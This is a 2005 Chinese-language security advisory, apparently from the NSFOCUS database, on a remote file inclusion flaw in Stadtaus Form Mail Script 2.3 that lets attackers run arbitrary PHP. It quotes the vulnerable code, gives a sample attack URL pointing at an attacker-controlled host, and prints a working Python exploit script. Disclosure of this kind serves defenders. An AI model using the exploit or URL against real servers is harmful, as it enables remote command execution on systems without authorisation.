首页 -> 安全研究

安全研究

安全漏洞
Form Mail Script远程文件包含执行任意命令漏洞

发布日期:2005-03-08
更新日期:2005-03-08

受影响系统:
Stadtaus Form Mail Script 2.3
描述:
BUGTRAQ  ID: 12735

Form Mail Script是由Ralf Stadtaus开发的脚本,允许用户通过邮件以文本或HTML格式向一个或多个收件人发送web站点表单的信息。该脚本还可以记录所有发送出去的消息。

Form Mail Script中存在一个漏洞,远程用户可以利用这个漏洞在目标机器上执行任意命令。

inc/formmail.inc.php脚本不能正确的验证用户在script_root参数中提供的输入。远程攻击者可以提供特制的URL,导致目标服务器包含并执行远程服务器的任意PHP代码。代码(包括操作系统命令)会以目标Web服务进程的权限运行。

inc/formmail.inc.php中有漏洞的代码:

  ...
  /*****************************************************
  ** Include functions
  *****************************************************/
      include $script_root . 'inc/functions.inc.php';
      include $script_root . 'inc/template.class.inc.php';
      include $script_root . 'inc/template.ext.class.inc.php';
      include $script_root . 'inc/formmail.class.inc.php';
  ...
      include $script_root . 'languages/language.' . $language . '.inc.php';
  ...

以下是示范的攻击URL:

http://[target]/[dir]/inc/form mail.inc.php?script_root=http://[attacker]/

如果将register_globals和allow_url_fopen设置为on的话就会发生攻击。

<*来源:mozako (mozako@mybox.it
        Filip Groszynski (groszynskif@gmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111022696125884&w=2#2
        http://securitytracker.com/alerts/2005/Mar/1013378.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/python
# Form Mail Script (FS) remote file inclusion exploit
# Coded by: mozako - mozako [at] mybox [dot] it      
# Vuln. Discovered by: Filip Groszynski              
# 5 March 2005                                      
#                                                    
# (C) 2005 badroot security                          
import urllib2
import sys
__argv__ = sys.argv
def usage():
    print "Form Mail Script (FS) remote file inclusion exploit \nby:
mozako\n3.3.2005\n\nUsage:\n$ ./phpN.py -h http://123.4.5.6 -p
/PHP_News_Path/ -u http://filetoupload"
    sys.exit(-1)
if len(__argv__) < 2:
    usage()
try:
    global host
    global path
    global url
    host = __argv__[2]
    path = __argv__[4]
    url = __argv__[6]
except IndexError:
        usage()
def hack():
    try:
        print "[X] Connecting...",
        urllib2.urlopen(host + path +
"inc/formmail.inc.php?script_root=" + url)
        print "[OK]"
        print "[X] Sending exploit...", "[OK]"
        print "[X] Exploited !"
    except urllib2.HTTPError:
        print "[Failed]"
    except urllib2.httplib.InvalidURL:
        print "[Bad host]\nis there http:// ? :)"
    except ValueError:
        print "[Bad host]\nis there http:// ? :)"
hack()
# eof

建议:
厂商补丁:

Stadtaus
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.stadtaus.com/

浏览次数:3270
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障